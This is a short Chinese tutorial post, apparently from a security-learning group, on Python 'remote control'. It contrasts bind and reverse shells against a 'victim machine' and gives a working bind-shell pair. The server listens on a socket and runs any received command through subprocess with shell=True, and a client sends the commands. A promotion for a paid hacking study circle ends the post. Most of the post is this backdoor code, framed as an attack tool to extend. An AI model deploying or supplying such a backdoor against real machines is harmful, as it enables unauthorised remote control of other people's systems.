正向反向区别

正向即我们通过一系列手段在受害机开放了一个端口,这个端口等待我们连接,受害机不会主动告诉我们让我们去连接,导致我们必须要知道受害机的IP地址,实际操作会很困难。所以现在都是用反向,与正向最大区别是,受害机会通知我们,将shell返回。

示例

Python中通过连接并执行命令主要用到了socket和subprocess两个模块,以下是一个简单的示例。

Client.py

# -*- coding: utf-8 -*-

import socket

while 1:

    str_msg = raw_input("Please input command:")

   

    if str_msg == "exit":

        break

    else:

        s2 = socket.socket()

        s2.connect(("192.168.150.144", 6666))

        data = s2.recv(1024)

        s2.send(str_msg)

        print str(s2.recv(1024))

        s2.close()

Server.py

import subprocess

import socket

 

def run_command(command):

    command = command.rstrip()

    print command

    try:

        child = subprocess.check_output(command, shell=True)

        return child

    except:

        child = 'Can not execute the command.\r\n'

        return child

 

s1 = socket.socket()

s1.bind(("192.168.150.144", 6666))

s1.listen(5)

 

while 1:

    conn,address = s1.accept()

    print "a new connect from " + str(address)

    conn.send("Hello world")

    data = conn.recv(1024)

    print "The command is " + data

    output = run_command(data)

    conn.send(output)

 

conn.close()

示例演示结果

Python远程控制

 

总结

上面简单示例只接收客户端命令进行了执行,其他功能可根据需求自行添加, 也可以使用tk等集成到gui中进行学习。


                                                     网络攻防知识星球推荐,欢迎加入,更多私密干货将在蜜圈分享。

圈内会分享关于信息搜集、web渗透、内网安全、代码审计等东西,另外物联网安全也是趋势,我们平时的学习资料总结都会进行分享。

整体来说就是网络攻防这个大层面,或者说是网络安全,在这里我们创建一个纯净的技术交流平台,和密圈内的兄弟一块交流学习。

                                                                                       Python远程控制

相关文章: